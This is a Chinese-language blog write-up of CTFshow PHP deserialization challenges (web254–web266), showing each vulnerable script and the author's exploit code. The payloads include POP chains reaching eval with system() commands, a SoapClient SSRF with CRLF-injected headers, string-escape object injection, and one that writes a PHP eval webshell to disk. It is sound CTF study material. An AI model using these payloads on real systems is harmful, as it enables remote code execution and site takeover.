CTFSHOW 反序列化

发布于 2022-04-15  29 次阅读


web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

payload:/?username=xxxxxx&password=xxxxxx

web255

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}


exp:

<?php
class ctfShowUser{
public $isVip=true;
}

print(urlencode((serialize(new ctfShowUser())));

payload

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

exp

<?php
class ctfShowUser{
public $username='user';
public $password='pass';
public $isVip=true;
}
print (urlencode(serialize(new ctfShowUser())));


payload

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22user%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22pass%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);


PHP反序列化的时候首先执行的是__destruct()

exp

<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('tac f*');";
}
print (urlencode(serialize(new ctfShowUser())));


payload

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

web258

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}


[oc] --> 匹配内部某个字符
\d --> 匹配数字

  • --> 匹配至少一个

所以这个正则表达式是:
o或者c+:+数字+:
所以在上一个题目的payload上面中间加上+ %2B
payload

%4f%3a%2b%31%31%3a%22%63%74%66%53%68%6f%77%55%73%65%72%22%3a%31%3a%7b%73%3a%35%3a%22%63%6c%61%73%73%22%3b%4f%3a%2b%38%3a%22%62%61%63%6b%44%6f%6f%72%22%3a%31%3a%7b%73%3a%34%3a%22%63%6f%64%65%22%3b%73%3a%31%39%3a%22%73%79%73%74%65%6d%28%22%63%61%74%20%60%6c%73%60%22%29%3b%22%3b%7d%7d

web259

flag.php:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

index.php

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();


利用的是php原生类SoapClient

函数构造:  public SoapClient :: SoapClient (mixed $wsdl, [array $options ])


首先,由于SoapClient是从本地访问,所以location定义为本地http://127.0.0.1/flag.php
然后我们修改XFF和POST请求,
由于SoapClient在消息头中的位置在Content-Type下面,我们要提交POST请求的时候,就必须控制更上面的函数。


由于SoapClient里面的user_agent是我们能控制的,于是我们可以修改UA伪造一个消息头

我们的期望是:

**先看我们上传的UA头:由于我们的Content-Length设置的是13,那么后面多余的字母都会被忽略,
**

exp:

<?php

$a="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$target = 'http://127.0.0.1/flag.php';
$ans=new SoapClient(null,array('location'=>$target,'uri'=>'a','user_agent' =>$a));

print(urlencode(serialize($ans)));


payload

O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22htt%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A140%3A%22ctfshow%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

参考文章:https://zhuanlan.zhihu.com/p/80918004

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}


payload

?ctfshow=ctfshow_i_love_36D/

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)

反序列化的时候先执行__unserialize()再执行__destruct()

exp:

<?php
class ctfshowvip{
public $username;
public $password;
public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_GET[1]);?>';
} }

print (urlencode(serialize(new ctfshowvip())));

payload:

O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+eval%28%24_GET%5B1%5D%29%3B%3F%3E%22%3B%7D

构造文档之后,访问执行一句话木马就行

web262:反序列化字母逃逸

index.php:

<?php

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);


message.php

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}


这个题目有一个漏洞:

非预期解:

直接利用message.php直接修改token=user

exp

<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
}
print (base64_encode(serialize(new message())));

payload:Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

预期解:

从index.php出发
由于这个地方,fuck被loveU替换之后,就会少一个字符。那么我们可以构造一个闭合的条件以这个题目为例子:

我们序列化message这个类,需要将token的值变成admin,那么我们需要构造的字符就是:

s:5:"token";s:5:"admin";

正常情况下,
替换之前:

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}

替换之后:

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}

观察这个地方:loveU有5个字母,但是s只显示4个,那么我们就可以逃逸一个字母。
我们把传参改变一下:令$t=fuck"   
这个地方的"可以与前面构成闭合

替换前:

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:5:"fuck"";s:5:"token";s:4:"user";}

替换后:

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:5:"loveU"";s:5:"token";s:4:"user";}

看这个loveU正好5个字母,那么后边那个"构成了闭合,所以按照原理上来说,我们可以利用这样的原理逃逸出更多的字母,
先构造要逃逸的内容:
";s:6:"token";s:6:"admin";}
一共27个字母,
那么我们传参:

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}


很明显这里要用变量引用

exp:

<?php
class ctfshowAdmin{
public $token = "cao";
public $password = "cao";
}

$yq1ng = new ctfshowAdmin();
$yq1ng->password =& $yq1ng->token;//引用
echo urlencode(serialize($yq1ng));

payload:

O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A3%3A%22cao%22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

web266

<?php
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}


注意文本传入
这个地方过滤利用大写绕过即可

exp:

<?php
class ctfshow{
}
$a=new ctfshow();
echo serialize($a);

生成之后改成大写即可
payload:

O:7:"Ctfshow":0:{}


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”